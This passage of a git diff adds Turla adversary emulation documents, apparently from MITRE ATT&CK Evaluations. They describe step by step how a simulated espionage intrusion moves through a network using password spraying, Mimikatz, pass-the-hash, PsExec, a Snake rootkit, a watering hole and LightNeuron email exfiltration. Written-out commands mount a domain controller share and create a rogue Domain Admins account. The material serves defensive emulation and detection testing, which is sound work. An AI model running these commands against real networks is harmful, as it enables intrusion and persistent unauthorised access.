**Lateral Movement to Domain Controller**
[T1105](https://attack.mitre.org/techniques/T1105/): Ingress Tool Transfer
[T1059.003](https://attack.mitre.org/techniques/T1059/003/): Command and Scripting Interpreter: Windows Command Shell
[T1110.003](https://attack.mitre.org/techniques/T1110/003/): Brute Force: Password Spraying
[T1021.002](https://attack.mitre.org/techniques/T1021/002/): Remote Services: SMB/Windows Admin Shares
[T1070.004](https://attack.mitre.org/techniques/T1070/004/): Indicator Removal on Host: File Deletion
[T1570](https://attack.mitre.org/techniques/T1570/): Lateral Tool Transfer
[T1053.005](https://attack.mitre.org/techniques/T1053/005/): Scheduled Task/Job: Scheduled Task
[T1071](https://attack.mitre.org/techniques/T1071/): Application Layer Protocol
[T1069.002](https://attack.mitre.org/techniques/T1069/002/): Permission Groups Discovery: Domain Groups
[T1018](https://attack.mitre.org/techniques/T1018/): Remote System Discovery |Using the enumerated usernames, the adversary conducts password spraying. This process retrieves Frieda’s admin credentials to the local domain controller.

To laterally move onto the DC, the attackers will use Frieda’s stolen password to mount the DC’s C:\ drive, and downloads and moves a second copy of the CARBON-DLL installer to this drive. The implant will be executed via remote scheduled task and then establish communications with the C2 server by leveraging P2P with the first CARBON-DLL implant Gunter’s device out to the redirector.

While performing discovery on the DC, the adversary discovers the following network devices:
1. Remote Apache web server
2. Windows workstation for user Adalwolfa (admin on Apache server) |`net use`

EPIC has moved through the victim’s network using pre-defined passwords:
`net use \\NET-DC-01\C$ "P@ssw0rd" /user:MOFA\Administrator` | _Password spraying_: CTI shows that EPIC has been used to conduct password spraying (see Report 1 for details)| CARBON-DLL | https://securelist.com/the-epic-turla-operation/65545/
https://www.ncsc.admin.ch/ncsc/en/home/dokumentation/berichte/fachberichte/technical-report_apt_case_ruag.html
https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/
https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity
https://www.gdatasoftware.com/blog/2015/01/23926-analysis-of-project-cobra| +**Step 6**
**Preparation for Lateral Movement onto Second Host**
[T1105](https://attack.mitre.org/techniques/T1105/): Ingress Tool Transfer
[T1003.004](https://attack.mitre.org/techniques/T1003/004/): Credential Dumping: LSA Secrets
[T1550.002](https://attack.mitre.org/techniques/T1550/002/): Alternate Authentication Material: Pass the Hash|Next, the attackers download Mimikatz (`mmgaproxy.exe`) to the DC and the attackers retrieve NTLM hash for admin user Adalwolfa. | | | CARBON-DLL
Mimikatz|
https://www.ncsc.admin.ch/ncsc/en/home/dokumentation/berichte/fachberichte/technical-report_apt_case_ruag.html (pp. 21)
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/waterbug-espionage-governments | +**Step 7**
**Lateral Movement to Second Workstation**
[T1105](https://attack.mitre.org/techniques/T1105/): Tool Transfer
[T1550.002](https://attack.mitre.org/techniques/T1550/002/): Use Alternate Authentication Material: Pass the Hash
[T1070.004](https://attack.mitre.org/techniques/T1070/004/): Indicator Removal on Host: File Deletion | After obtaining the NTLM hash for user Adalwolfa, the attackers will move laterally to this user’s workstation. In order to do this, the threat actor will leverage the CARBON-DLL implant on the domain controller to download PsExec and another copy of the CARBON-DLL installer. To perform the lateral movement, CARBON-DLL performs a pass-the-hash (PtH) attack to move the installer onto Adalwolfa’s device. Finally, the attackers use PsExec to execute CARBON-DLL remotely on Adalwolfa’s Windows workstation. | | | Mimikatz
PsExec |
https://www.ncsc.admin.ch/ncsc/en/home/dokumentation/berichte/fachberichte/technical-report_apt_case_ruag.html (pp. 21)
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/waterbug-espionage-governments
https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/ | +**Step 8**
**Credential Access on Admin Host**
[T1105https://attack.mitre.org/techniques/T1105/ Ingress Tool Transfer
[T1056.001](https://attack.mitre.org/techniques/T1056/001/): Input Capture: Keylogging
[T1059.001](https://attack.mitre.org/techniques/T1059/001/): Command and Scripting Interpreter: PowerShell
[T1021.004](https://attack.mitre.org/techniques/T1021/004/): Remote Services: SSH
[T1489](https://attack.mitre.org/techniques/T1489/): Service Stop
[T1041](https://attack.mitre.org/techniques/T1041/): Exfiltration over C2 Channel
[T1070.004](https://attack.mitre.org/techniques/T1070/004/): Indicator Removal on Host: File Deletion |Once the adversary has moved onto Adalwolfa’s computer, CARBON-DLL downloads a custom keylogger (`winsvcxgt.exe`). This tool allows the adversary to retrieve Adalwolfa’s plaintext SSH credentials during the user’s Chrome browser session.|CARBON-DLL
Keylogger: _winsvcxgt.exe_ | | |
https://securelist.com/the-epic-turla-operation/65545/
https://www.ncsc.admin.ch/ncsc/en/home/dokumentation/berichte/fachberichte/technical-report_apt_case_ruag.html
https://blog.talosintelligence.com/2021/09/tinyturla.html | +**Step 9**
**Lateral Movement to Linux Server**
[T1105](https://attack.mitre.org/techniques/T1105/): Ingress Tool Transfer
[T1021.004](https://attack.mitre.org/techniques/T1021/004/): Remote Services: SSH
[T1053.003](https://attack.mitre.org/techniques/T1053/003/): Scheduled Task/Job: Cron
[T1078.002](https://attack.mitre.org/techniques/T1078/): Valid Accounts: Domain Accounts
[T1070.004](https://attack.mitre.org/techniques/T1070/004/): Indicator Removal on Host: File Deletion
[T1027](https://attack.mitre.org/techniques/T1027/): Obfuscated Files or Information
[T1222.002](https://attack.mitre.org/techniques/T1222/002/): File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification
[T1036.005](https://attack.mitre.org/techniques/T1036/005/): Masquerading: Match Legitimate Name or Location
[T1543](https://attack.mitre.org/techniques/T1543/): Create or Modify System Process
[T1205](https://attack.mitre.org/techniques/T1205/): Traffic Signaling
[T1040](https://attack.mitre.org/techniques/T1040/): Network Sniffing | To begin the lateral movement onto the targeted Linux Apache server, CARBON-DLL downloads PENQUIN to Adalwolfa’s workstation. Using the stolen credentials previously retrieve by the keylogger, the attackers copy PENQUIN to the Apache server. PENQUIN will mimic the legitimate Linux cron utility and modify the service. Finally, plink will be downloaded and copied to execute PENQUIN on the Apache server.| | **CTI deviation**: SSH was not utilized in Turla’s PENQUINx64 campaign, but has been used in other Turla attacks

**PENQUINx64 variant**:
- Written in C/C++
- 64-bit architectures
- Defense evasion: embeds legitimate Linux binary to mimic cron

**Old versions of PENQUIN**:
- ELF 32-bit LSB exe
- Intel 80386 version 1 (SYSV)
- GNU/Linux 2.2.5 (stripped)
- Does not require admin/root privileges to run
- Requires 2 parameters: ID & existing network interface name

Essentially, there are commands that are integrated into PENQUINx64’s code. Each command code corresponds to a specific function which the malware then executes. A full list of these functions is listed on page 13 of the Leonardo Spa report.| PENQUINx64
plink| https://securelist.com/the-epic-turla-operation/65545/
https://blog.talosintelligence.com/2021/09/tinyturla.html
https://www.leonardo.com/documents/15646808/16757471/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf/524e39d0-029f-1a99-08d5-c013be1b8717?t=1590739252338
https://securelist.com/the-penquin-turla-2/67962/ +**Step 10**
**Installation of Watering Hole**
[T1205](https://attack.mitre.org/techniques/T1205/): Traffic Signaling
[T1132.001](https://attack.mitre.org/techniques/T1132/001/): Data Encoding: Standard Encoding
[T1059.004](https://attack.mitre.org/techniques/T1059/004/): Command and Scripting Interpreter: Unix Shell
[T1033](https://attack.mitre.org/techniques/T1033/): System Owner/User Discovery
[T1083](https://attack.mitre.org/techniques/T1083/): File and Directory Discovery
[T1189](https://attack.mitre.org/techniques/T1189/): Drive-by Compromise |In order to maintain a foothold on the Apache web server, the adversary will utilize PENQUIN to install a watering hole. Specifically, the attackers send a magic packet to the Apache server, which is read by PENQUIN. This causes the creation of a reverse shell, which will perform discovery commands. Then, the attackers append additional script tags to a webpage previously accessed by Adalwolfa on the Apache server. This will allow users browsing the legitimate site http://kagarov/index[.]html to be redirected to the malicious, attacker-controlled site `anto-int[.]com`.| |**About PENQUINx64:** the malware can also download remote files in chunks (1024 bytes each) to a local vile via the “do_vsdownload†function. This particular method will not work for the scenario since all “do_vs†functions are executed on remote IPs distinct from the C2 (a.k.a. a third peer).

**CTI deviation:** Based on available reporting, PENQUINx64 has not been used in watering hole attacks. However, Turla has used other tools/payloads to launch watering hole attacks to fingerprint victims for initial access purposes. This scenario uses the installation of watering holes to transition into the SNAKE scenario (second scenario).

**Watering hole details:**

1. User visits the compromised webpage hosting malicious Javascript.

2. On the user’s first visit, the browser adds and evercookie which has an MD5 value provided by the web server. The evercookie will keep track of which users have already visited the site.

3. On a user’s second visit, the stored MD5 value is used to identify the victim and the attackers will collect OS info which is sent to the C2 through POST requests.|PENQUINx64|https://securelist.com/the-epic-turla-operation/65545/
https://www.leonardo.com/documents/15646808/16757471/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf/524e39d0-029f-1a99-08d5-c013be1b8717?t=1590739252338
https://securelist.com/the-penquin-turla-2/67962/
https://lab52.io/blog/looking-for-penquins-in-the-wild/
https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/
https://github.com/samyk/evercookie| + +# Infrastructure Diagram +![Carbon Infrastructure Diagram](../Resources/Images/CarbonInfrastructure.png) diff --git a/turla/Operations_Flow/Snake_Operations_Flow.md b/turla/Operations_Flow/Snake_Operations_Flow.md new file mode 100644 index 00000000..7af19e65 --- /dev/null +++ b/turla/Operations_Flow/Snake_Operations_Flow.md @@ -0,0 +1,37 @@ +Based on open-source intelligence, the ATT&CK ® Evaluations team created the below scenario leveraging techniques seen from Turla in the wild. We have adapted the scenario based on tools and resources available at the time. Below is a [scenario overview](#snake-emulation-scenario-📖), [step-by-step breakdown](#scenario-steps👣), and an [infrastructure diagram](#infrastructure-diagram). + +# Snake Emulation Scenario 📖 +This scenario is a continuation of Turla’s multi-phase operation, as part of an ongoing intelligence collection campaign. The attackers establish a typo-squatting website to target entities with a high value of information. Turla targets the victim with a drive-by compromise, through user interaction Adobe Flash installer bundled with EPIC, is installed on the victim’s Windows workstation. EPIC communicates to the C2 server via proxy web server with HTTPS requests, persists via process injection, and performs enumeration on the victim’s workstation. SNAKE is then deployed to maintain foothold, elevate privileges and communicates to the C2 via HTTP/SMTP/DNS. + +Next, the attackers move laterally onto a Microsoft IIS server, install SNAKE, and create an admin account. They then proceed to move laterally onto an Exchange workstation, and install SNAKE. Finally, the attackers move laterally onto an Exchange Server and install LIGHTNERON. LIGHTNERON enables email collection, and staging for exfiltrating stolen data via benign email PDF/JPG attachments. In this, the threat actors are able to collect and exfiltrate sensitive communications in an effort to identify new information sources and collect up-to-date information to further their the mission objectives. + + +
**Phase 1:** _EglÄ—_, an IIS Admin visits a legitimate but compromised website. The website contains a JavaScript that fingerprints users with an MD5 hash. Now identified as a target, the next time EglÄ— visits the website, the JavaScript initiates a drive-by compromise via malicious adobe flash installer. Through _EglÄ—'s_ interaction, the malicious Adobe Flash installer bundled with EPIC, is installed on the victim Windows workstation. EPIC begins to communicate with the C2 server via proxy web server with HTTPS requests. + +
**Phase 2:** EPIC persists via process injection, conducting defense evasion, specifically searching for commonly named processes associated with network defense applications and executing guardrails to not persist on previously infected devices. The attackers then use EPIC to perform enumeration on _EglÄ—'s_ workstation. The results are saved in a zip file for exfiltration, then deleted after exfiltration. Next, SNAKE is deployed as second-stage malware on _EglÄ—'s_ workstation to maintain a foothold and elevate privileges while communicating with C2 via HTTP/SMTP/DNS. With Kernel access via SNAKE, the attackers collect user log-in information from _EglÄ—'s_ workstation, enabling the collection and compromise of valid accounts. + +
**Phase 3:** An account found on _Eglė's_ workstation is used to laterally move onto the Microsoft IIS server. SNAKE is installed on the IIS server and the attackers create their own admin account, gaining unrestricted access on the network. Next, the attackers laterally move to _Žilvinas'_ Exchange Workstation and install SNAKE. A new user account _Leshy_ is created under the domain admin group. The attackers then laterally move onto the Exchange Server and install LightNeuron. Rule modification from LIGHTNERON enables collection and staging for exfiltration. LIGHTNEURON exfiltrates stolen data via benign email PDF/JPG attachments to attacker-controlled email addresses. +

+ +![Snake Operations Flow Diagram](../Resources/Images/SnakeOpsFlow.png) + +![Snake Software Flow Diagram](../Resources/Images/SnakeSoftwareDiagram.png) + +# Scenario Steps👣 + |
Steps & Techniques
|
User Story
|
Commands
|
Software
|
Reporting
| + | :------------- | :------------- | :-------------: |------------- | ------------- | + |**Step 11 Initial Compromise & Establish Foothold**
[T1189](https://attack.mitre.org/versions/v12/techniques/T1189): Drive-by Compromise
[T1204.001](https://attack.mitre.org/versions/v12/techniques/T1204/001): User Execution
[T1071.001](https://attack.mitre.org/versions/v12/techniques/T1071/001/): Application Layer Protocol: Web Protocols
[T1090.002](https://attack.mitre.org/versions/v12/techniques/T1090/002/): Proxy: External Proxy
[T1071.001](https://attack.mitre.org/versions/v12/techniques/T1071/001/): Application Layer Protocol: Web Protocols
[T1082](https://attack.mitre.org/versions/v12/techniques/T1082): System Information Discovery| User _Egle_ on WIN10 workstation (`10.100.40.103`) Azuolas visits a legitimate, but compromised website `nato-int.com`. This website was tampered to redirect visitors to a typo-squated malicious website that contains javascript (JS). The malicious website `anto-int.com`. fingerprints Egle. This malicious WordPress website prompts Egle with a notice to update their NotFlash.

_Egle_ clicks to download the update, `NTFVersion_e5.exe`, containing EPIC (a.k.a. Tavdig/Wipbot). Epic will inject its guard DLL into `explorer.exe`. it will then search for processes that are typically internet enabled (e.g. `iexplore.exe`, `msedge.exe`, or `firefox.exe`) and inject an embedded worker DLL. Once C2 communications have been established between EPIC and the C2 via the proxy server, discovery is performed on the first host where information about the host device and domain computers is collected. | |
Clicky Jscript
Evercookie EPIC |
https://recon.cx/2018/brussels/resources/slides/RECON-BRX-2018-Visiting-The-Snake-Nest.pdf
https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/
https://www.welivesecurity.com/2017/06/06/turlas-watering-hole-campaign-updated-firefox-extension-abusing-instagram/
https://github.com/samyk/evercookie
https://www.govcert.ch/downloads/whitepapers/Report_Ruag-Espionage-Case.pdf
https://securelist.com/analysis/publications/65545/the-epic-turla-operation/
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf | + **Step 12 Rootkit Installation**
[T1105](https://attack.mitre.org/versions/v12/techniques/T1105): Ingress Tool Transfer
[T1014]( https://attack.mitre.org/versions/v12/techniques/T1014): Rootkit
[T1027]( https://attack.mitre.org/versions/v12/techniques/T1027): Obfuscated Files or Information
[T1070]( https://attack.mitre.org/versions/v12/techniques/T1070): Indicator Removal
[T1140]( https://attack.mitre.org/versions/v12/techniques/T1140): Deobfuscate/Decode Files or Information
[T1546]( https://attack.mitre.org/versions/v12/techniques/T1546): Event Triggered Execution
[T1543.003](https://attack.mitre.org/versions/v12/techniques/T1543/003/): Create or Modify System Process: Windows Service
[T1553.006](https://attack.mitre.org/versions/v12/techniques/T1553/006/): Subvert Trust Controls: Code Signing Policy Modification
[T1055.001](https://attack.mitre.org/versions/v12/techniques/T1055/001/): Process Injection: Dynamic-link Library Injection
[T1573.001]( https://attack.mitre.org/versions/v12/techniques/T1573/001/): Encrypted Channel: Symmetric Cryptography
[T1071.001]( https://attack.mitre.org/versions/v12/techniques/T1071/001/): Application Layer Protocol: Web Protocols
[T1070.004]( https://attack.mitre.org/versions/v12/techniques/T1070/004/): Indicator Removal: File Deletion|Using access from EPIC by Egle on WIN10 workstation Azuolas, SNAKE is pulled down to Azuolas as second-stage malware. The Snake installer will escalate privileges to SYSTEM by exploiting a Windows 10 vulnerability. Once running as SYSTEM, the installer will disable DSE by loading and exploiting a vulnerable driver. Once DSE is disabled, the installer will load the Snake rootkit driver.

The rootkit driver will hook various functions and will inject a user-mode DLL into a SYSTEM process to execute received tasks from the C2 server. The driver will then wait for a browser process to make a network request to inject the user-mode DLL into the browser for C2 communications over HTTP. The injected DLLs will communicate between each other via named pipes. At some point, Egle will browse to a website, triggering the rootkit driver to inject the user-mode DLL into the browser process - this DLL will begin communication with the C2 server over HTTP. | |SNAKE |
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2014/08/20082358/uroburos.pdf
https://artemonsecurity.com/snake_whitepaper.pdf
https://public.gdatasoftware.com/Web/Content/INT/Blog/2014/02_2014/documents/GData_Uroburos_RedPaper_EN_v1.pdf https://www.circl.lu/pub/tr-25
https://www.gdatasoftware.com/blog/2014/03/23966-uroburos-deeper-travel-into-kernel-protection-mitigation
https://www.gdatasoftware.com/blog/2014/06/23953-analysis-of-uroburos-using-windbg
https://www.gdatasoftware.com/blog/2015/01/23926-analysis-of-project-cobra
https://blog.tetrane.com/2019/Analysis-Uroburos-Malware-REVEN.html https://blog.talosintelligence.com/2014/04/snake-campaign-few-words-about-uroburos.html
https://www.lastline.com/labsblog/dissecting-turla-rootkit-malware-using-dynamic-analysis/ https://www.lastline.com/labsblog/turla-apt-group-gives-their-kernel-exploit-a-makeover/
https://github.com/hfiref0x/TDL
https://www.coresecurity.com/core-labs/advisories/virtualbox-privilege-escalation-vulnerability https://unit42.paloaltonetworks.com/acidbox-rare-malware/ | +**Step 13 First Workstation Discovery**
[T1106]( https://attack.mitre.org/versions/v12/techniques/T1106/): Native API
[T1057]( https://attack.mitre.org/versions/v12/techniques/T1057): Process Discovery
[T1559]( https://attack.mitre.org/versions/v12/techniques/T1559): Inter-Process Communication
[T1087.002]( https://attack.mitre.org/versions/v12/techniques/T1087/002/): Account Discovery: Domain Account
[T1049]( https://attack.mitre.org/versions/v12/techniques/T1049): System Network Connections Discovery
[T1134.002]( https://attack.mitre.org/versions/v12/techniques/T1134/002/): Access Token Manipulation: Create Process with Token
[T1134.001]( https://attack.mitre.org/versions/v12/techniques/T1134/001/): Access Token Manipulation: Token Impersonation/Theft |The Snake rootkit receives tasking from the C2 server to enumerate currently running processes on the local computer and finds that EgleAdmin has processes running.

Further enumeration of the EgleAdmin user shows that it is a member of the File Server Admins group. Snake then enumerates mapped drives on the local machine and finds that Egle's home drive is mapped to the file server, berzas (`10.100.30.204`). |`whoami`
`tasklist.exe`
`net.exe user /domain EgleAdmin` | SNAKE | https://artemonsecurity.com/snake_whitepaper.pdf | +**Step 14 Lateral Movement to File Server**
[T1078.002]( https://attack.mitre.org/versions/v12/techniques/T1078/002/): Valid Accounts: Domain Account
[T1559]( https://attack.mitre.org/versions/v12/techniques/T1559): Inter-Process Communication
[T1105]( https://attack.mitre.org/versions/v12/techniques/T1105): Ingress Tool Transfer
[T1569.002]( https://attack.mitre.org/versions/v12/techniques/T1569/002/): System Services: Service Execution
[T1071.001]( https://attack.mitre.org/versions/v12/techniques/T1071/001/): Application Layer Protocol: Web Protocols
[T1070.004]( https://attack.mitre.org/versions/v12/techniques/T1070/004/): Indicator Removal: File Deletion |Using this information, Snake impersonates the EgleAdmin account to run PsExec and execute another copy of the Snake rootkit installer on the file server, berzas.

This new copy of the Snake installer will have the installed rootkit beacon back to the C2 server via a different redirector. | |SNAKE PSExec | https://artemonsecurity.com/snake_whitepaper.pdf | +**Step 15 Domain Discovery**
[T1018]( https://attack.mitre.org/versions/v12/techniques/T1018): Remote System Discovery
[T1059.001]( https://attack.mitre.org/versions/v12/techniques/T1059/001): Command and Scripting Interpreter: PowerShell
[T1069.001]( https://attack.mitre.org/versions/v12/techniques/T1069/001): Permission Group Discovery: Domain Groups
[T1087.002]( https://attack.mitre.org/versions/v12/techniques/T1087/002): Account Discovery: Domain Account
|The Snake rootkit receives tasking from the C2 server to use Powershell's ActiveDirectory module to enumerate domain users, admin groups, and computers. Upon discovering Zilvinas's regular and domain admin accounts, Snake will enumerate further details on the accounts. Snake then discovers a workstation, uosis (`10.100.40.102`), belonging to Zilvinas to use as a future lateral movement target. | |SNAKE
Powershell |
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2014/08/20082358/uroburos.pdf
https://artemonsecurity.com/snake_whitepaper.pdf
https://public.gdatasoftware.com/Web/Content/INT/Blog/2014/02_2014/documents/GData_Uroburos_RedPaper_EN_v1.pdf
https://www.circl.lu/pub/tr-25/
https://www.gdatasoftware.com/blog/2014/03/23966-uroburos-deeper-travel-into-kernel-protection-mitigation
https://www.gdatasoftware.com/blog/2014/06/23953-analysis-of-uroburos-using-windbg
https://www.gdatasoftware.com/blog/2015/01/23926-analysis-of-project-cobra
https://blog.tetrane.com/2019/Analysis-Uroburos-Malware-REVEN.html
https://blog.talosintelligence.com/2014/04/snake-campaign-few-words-about-uroburos.html
https://www.lastline.com/labsblog/dissecting-turla-rootkit-malware-using-dynamic-analysis/
https://www.lastline.com/labsblog/turla-apt-group-gives-their-kernel-exploit-a-makeover/
https://github.com/hfiref0x/TDL
https://www.coresecurity.com/core-labs/advisories/virtualbox-privilege-escalation-vulnerability
https://unit42.paloaltonetworks.com/acidbox-rare-malware/ | +**Step 16 Preparation for Lateral Movement to Admin Workstation**
[T1105]( https://attack.mitre.org/versions/v12/techniques/T1105): Ingress Tool Transfer
[T1559]( https://attack.mitre.org/versions/v12/techniques/T1559): Inter-Process Communication
[T1003.001]( https://attack.mitre.org/versions/v12/techniques/T1003/001): OS Credential Dumping: LSASS Memory|Snake downloads Mimikatz to the file server, berzas (`10.100.30.204`), and extracts all NTLM hashes on the target to a file. That file is then exfiltrated back to the C2 server.||PSExec
Mimikatz | https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/waterbug-espionage-governments
https://www.govcert.ch/downloads/whitepapers/Report_Ruag-Espionage-Case.pdf | +**Step 17 Lateral Movement to Admin Workstation & Persistence**
[T1057]( https://attack.mitre.org/versions/v12/techniques/T1057): Process Discovery
[T1136.002]( https://attack.mitre.org/versions/v12/techniques/T1136/002): Create Account: Domain Account
[T1550.002]( https://attack.mitre.org/versions/v12/techniques/T1550/002): Use Alternate Authentication Material: Pass the Hash
[T1071.001]( https://attack.mitre.org/versions/v12/techniques/T1071/001): Application Layer Protocol: Web Protocols
[T1070.004]( https://attack.mitre.org/versions/v12/techniques/T1070/004): Indicator Removal: File Deletion |Snake performs lateral movement to the domain admin's workstation and enables additional persistence by creating a new domain admin account.

The retrieved NTLM hash discovered in the previous step is used in a pass-the-hash attack to move laterally to Zilvinas's workstation. PsExec is employed via pass-the-hash to execute and install the Snake rootkit on the target workstation.

Once the admin workstation has been compromised, Snake is used to enumerate processes running on Zilvinas's workstation uosis, where it is discovered that ZilvinasAdmin has processes running which can be used for token impersonation. By impersonating ZilvinasAdmin, a new domain user Leshy is created and added to the Domain Admins domain group for persistence. |`whoami`
`tasklist.exe`
`net user leshy Password12345 /add /domain`
`net group \"Domain Admins\" leshy /add /domain` |SNAKE | https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2014/08/20082358/uroburos.pdf
https://artemonsecurity.com/snake_whitepaper.pdf
https://public.gdatasoftware.com/Web/Content/INT/Blog/2014/02_2014/documents/GData_Uroburos_RedPaper_EN_v1.pdf
https://www.circl.lu/pub/tr-25/
https://www.gdatasoftware.com/blog/2014/03/23966-uroburos-deeper-travel-into-kernel-protection-mitigation
https://www.gdatasoftware.com/blog/2014/06/23953-analysis-of-uroburos-using-windbg
https://www.gdatasoftware.com/blog/2015/01/23926-analysis-of-project-cobra
https://blog.tetrane.com/2019/Analysis-Uroburos-Malware-REVEN.html
https://blog.talosintelligence.com/2014/04/snake-campaign-few-words-about-uroburos.html
https://www.lastline.com/labsblog/dissecting-turla-rootkit-malware-using-dynamic-analysis/
https://www.lastline.com/labsblog/turla-apt-group-gives-their-kernel-exploit-a-makeover/
https://github.com/hfiref0x/TDL
https://www.coresecurity.com/core-labs/advisories/virtualbox-privilege-escalation-vulnerability
https://unit42.paloaltonetworks.com/acidbox-rare-malware/ | +**Step 18 Lateral Movement to Exchange Server**
[T1559]( https://attack.mitre.org/versions/v12/techniques/T1559): Inter-Process Communication
[T1105]( https://attack.mitre.org/versions/v12/techniques/T1105): Ingress Tool Transfer
[T1070.004]( https://attack.mitre.org/versions/v12/techniques/T1070/004): Indicator Removal: File Deletion
[T1047]( https://attack.mitre.org/versions/v12/techniques/T1047): Windows Management Instrumentation
[T1059.001]( https://attack.mitre.org/versions/v12/techniques/T1059/001): Command and Scripting Interpreter: PowerShell
[T1505.002]( https://attack.mitre.org/versions/v12/techniques/T1505/002): Server Software Component: Transport Agent
[T1036.005]( https://attack.mitre.org/versions/v12/techniques/T1036/005): Masquerading: Match Legitimate Name or Location
|Snake downloads LightNeuron and associated the Powershell installation script and config files, transfers them to the Exchange server, drebule, and remotely executes the installation script using WMI to install LightNeuron on the Exchange server. | |WMI
SNAKE
LIGHT NEURON
Powershell | https://www.govcert.ch/downloads/whitepapers/Report_Ruag-Espionage-Case.pdf | +**Step 19 Discovery & Email Collection**
[T1119]( https://attack.mitre.org/versions/v12/techniques/T1119): Automated Collection
[T1114.002]( https://attack.mitre.org/versions/v12/techniques/T1114/002): Email Collection: Remote Email Collection
[T1001.002]( https://attack.mitre.org/versions/v12/techniques/T1001/002): Data Obfuscation: Steganography
[T1071.003]( https://attack.mitre.org/versions/v12/techniques/T1071/003): Application Layer Protocol: Mail Protocols
[T1016]( https://attack.mitre.org/versions/v12/techniques/T1016): System Network Configuration Discovery
[T1564.008]( https://attack.mitre.org/versions/v12/techniques/T1564/008): Email Hiding Rules
[T1573.001]( https://attack.mitre.org/versions/v12/techniques/T1573/001): Encrypted Channel: Symmetric Cryptography
[T1041]( https://attack.mitre.org/versions/v12/techniques/T1041): Exfiltration Over C2 Channel
[T1059.003]( https://attack.mitre.org/versions/v12/techniques/T1059/003): Command and Scripting Interpreter: Windows Command Shell | Turla sends several discovery commands to the LightNeuron implant and collecting and exfiltrating email traffic.

Emails with JPG attachments containing AES encrypted commands embedded using stegonagraphy are sent from the C2 server to the domain. LightNeuron's transport agent processes all emails via LightNeuron's companion DLL, which executes the embedded command and blocks delivery of the email from the C2 server.

LightNeuron automatically collects all emails with recipients matching `nk.local` in a log file(`C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\msmdat.xml`).Eventually, LightNeuron is tasked to exfiltrate the email log, which is exfiltrated over the existing C2 channel. | |LIGHT NEURON | https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf | + +# Infrastructure Diagram +![Snake Infrastructure Diagram](../Resources/Images/SnakeInfrastructure.png) + + + diff --git a/turla/README.md b/turla/README.md new file mode 100644 index 00000000..ebd8b8d9 --- /dev/null +++ b/turla/README.md @@ -0,0 +1,101 @@ +# Turla +[![License](https://img.shields.io/badge/License-Apache_2.0-blue.svg)](https://opensource.org/licenses/Apache-2.0) + +Based on open-source intelligence, the MITRE ATT&CK ® Evaluations team created the below scenario leveraging techniques seen from Turla in the wild. We have adapted the scenario based on tools and resources available at the time. + +## Adversary Overview ♾ï¸ðŸª¨ðŸ§¸ +Active since at least the early 2000s, [Turla](https://attack.mitre.org/groups/G0010/) is a sophisticated Russian-based threat group that has infected victims in more than 50 countries.[1](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-129a) The group has targeted government agencies, diplomatic missions, military groups, research and education facilities, critical infrastructure sectors, and media organizations.[1](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-129a) [2](https://www.justice.gov/opa/pr/justice-department-announces-court-authorized-disruption-snake-malware-network-controlled) [Turla](https://attack.mitre.org/groups/G0010/) leverages novel techniques and custom tooling and open-source tools to elude defenses and persist on target networks. [3](https://www.hhs.gov/sites/default/files/major-cyber-orgs-of-russian-intelligence-services.pdf) [4](https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_TURLA_20191021%20VER%203%20-%20COPY.PDF) The group is also known for its adaptability and willingness to evolve behaviors and tools to achieve campaign objectives. [5](https://www.eset.com/us/about/newsroom/press-releases/cyber-espionage-group-turla-and-its-latest-malware-under-the-microscope-1/) [6](https://www.kaspersky.com/about/press-releases/2023_apt-q1-2023-playbook-advanced-techniques-broader-horizons-and-new-targets) [7](https://www.ncsc.gov.uk/static-assets/documents/Turla%20Neuron%20Malware%20Update.pdf) +[Turla](https://attack.mitre.org/groups/G0010/) is known for their targeted intrusions and innovative stealth. After establishing a foothold and conducting victim enumeration, [Turla](https://attack.mitre.org/groups/G0010/) persists with a minimal footprint through in-memory or kernel implants. [8](https://cert.gov.ua/article/5213167) [9](https://dl.acm.org/doi/pdf/10.1145/3603506) [Turla](https://attack.mitre.org/groups/G0010/) executes highly targeted campaigns aimed at exfiltrating sensitive information from Linux and Windows infrastructure.[10](https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf) [11](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180251/Penquins_Moonlit_Maze_PDF_eng.pdf) + +**Associated Groups:** IRON HUNTER, Group 88, Belugasturgeon, Waterbug, WhiteBear, Snake, Krypton, Venomous Bear + +## Emulation Overview 📖 +This scenario follows Turla’s multi-phase intelligence collection campaign by establishing a typo-squatted website of NATO to target entities with a high value of information. During **phase one**, Turla implants a watering hole for persistence on the victim’s network as a way to compromise more targets of interest. Turla gains initial access through a spearphishing email, a fake software installer is downloaded onto the victim machine, and execution of the EPIC payload takes place. Once persistence and C2 communications are established, a domain controller is discovered, and CARBON-DLL is ingressed into victim network. Further lateral movement brings the attackers to a Linux Apache server where PENGUIN is copied to the server and used to install a watering hole. + +In **phase two** of the attack, the attackers establish a typo-squatted website to target entities with high value information. The victims are prompted to update their (Not)Flash, and in doing so, EPIC is installed on their network. EPIC communicates to the C2 server via proxy web server with HTTPS requests, and SNAKE is then deployed to maintain foothold, elevate privileges and communicates to the C2 via HTTP/SMTP/DNS. Next, the attackers move laterally onto a Microsoft IIS server, install SNAKE, and create an admin account. The attackers then move laterally onto an Exchange workstation, and install SNAKE. Fianlly, 